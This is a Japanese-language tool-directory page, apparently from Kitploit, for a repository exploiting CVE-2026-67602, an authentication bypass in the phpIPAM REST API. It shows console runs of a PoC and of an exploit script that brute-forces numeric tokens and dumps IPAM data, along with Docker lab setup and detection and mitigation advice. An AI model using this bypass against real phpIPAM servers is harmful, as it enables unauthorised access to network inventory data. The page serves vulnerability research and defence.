Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/hunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証APIセキュリティ
GitHubhunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

CVE-2026-67602のエクスプロイトとPoC。phpIPAM REST APIにおけるオブジェクトキャッシュのキー衝突による認証バイパスで、ロジックレベルのPoCとリモートエクスプロイトスクリプトを含む。

リポジトリを見る
0日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-67602 — phpIPAM < 1.8.2 REST API 認証バイパス

phpIPAM REST API における未認証の認証バイパス。オブジェクトキャッシュのキー衝突が原因で、API アプリの app_id を解決中にキャッシュされたデータベース行が、提供されたトークンがその行の数値 id と一致する場合に後続の app_code(トークン)チェックを満たしてしまいます。アプリの実際のシークレットは決して比較されません。

  • CVE: CVE-2026-67602
  • CVSS 4.0: 9.3 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)
  • CWE: CWE-706(誤って解決された名前または参照の使用)
  • 影響を受けるバージョン: phpIPAM 1.8.2 未満、app_security = ssl_code の REST API アプリ
  • 修正バージョン: phpIPAM 1.8.2(コミット d29728f)
  • アドバイザリ: https://www.vulncheck.com/advisories/phpipam-authentication-bypass-via-rest-api-object-cache

目次

ファイル目的
poc_cache_collision.phpロジックレベルの PoC。脆弱性のある(v1.8.1)および修正済み(1.8.2)の fetch_object/cache_check/cache_write 実装をそのままスタブ化されたデータベースに対して実行し、1回の HTTP リクエストの正確なフェッチシーケンスを再現します。phpIPAM のインストールは不要です。
exploit.py稼働中の phpIPAM < 1.8.2 インスタンスに対するリモートエクスプロイト:有効な app_id を列挙し(400 vs 401)、数値トークン(通常 id 1〜3)をブルートフォースし、オプションでセクション/サブネット/VLAN/デバイスをダンプします。
docker-compose.yml脆弱性のあるラボ環境:phpIPAM v1.8.1 + MariaDB、IPAM_TRUST_X_FORWARDED=true による平文 HTTP で、ssl_code アプリを X-Forwarded-Proto ヘッダー経由でテストできます。

1. ロジックレベルの PoC(サーバー不要)

root@kitploit:~
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client')  -> row id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (phpipam-token header) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id  ->  AUTHENTICATED

$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (phpipam-token header) -> false
[3] Response: 401 Unauthorized — token rejected

2. Docker でのライブ再現

root@kitploit:~
$ docker compose up -d
  1. http://localhost:8080/ にアクセスし、インストーラー(http://localhost:8080/install/)に進み、Automatic database installation を選択し、MySQL ユーザー root / パスワード phpipamAdminRoot を入力します。
  2. ログイン(admin / admin)し、プロンプトが表示されたら新しい管理者パスワードを設定します。
  3. API アプリを作成:Administration → API Management → 新規作成:
    • アプリケーション名(app_id):client
    • セキュリティ:API code (ssl_code)
    • 権限:Read / Write / Delete
  4. phpIPAM がランダムな 32 文字のアプリケーションコードを生成します。コピーする必要はありません — それがこのバグの要点です。

エクスプロイトを実行します(--xfp フラグは、ラボが信頼する X-Forwarded-Proto を介して HTTPS チェックを満たします):

root@kitploit:~
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Target: http://localhost:8080
[*] Brute-forcing numeric tokens (row ids) 1..64 for app_id='client'...
[+] AUTHENTICATION BYPASSED — phpipam-token: 1 is accepted
[+] The app's real 32-char app_code was never needed.
[+] GET /api/client/sections/ -> HTTP 200, 1 section(s) readable
[*] Dumping IPAM data...

3. 検出と対策

  • phpIPAM 1.8.2 以降にアップグレードしてください。 修正では、オブジェクトキャッシュのキーを検索列と値の両方で設定しています(コミット d29728f)。
  • アップグレードするまで、ssl_code API アプリを無効化または再設定してください(他のセキュリティモードはこのキャッシュ衝突の影響を受けません)。
  • Web サーバー / phpIPAM のログで、純粋に数値の phpipam-token ヘッダーを伴う /api/<app_id>/... へのリクエストを確認してください — 正規のトークンは 32 文字のランダム文字列であるため、数値トークンは高精度の IOC です。
  • 露出が疑われる場合は、API アプリケーションコードとユーザートークンをローテーションしてください。

責任ある使用

このリポジトリは、防御的な研究および許可されたペネトレーションテストのみを目的としています。所有しているシステム、またはテストの書面による許可を得たシステムに対してのみ実行してください。

ツールをダウンロード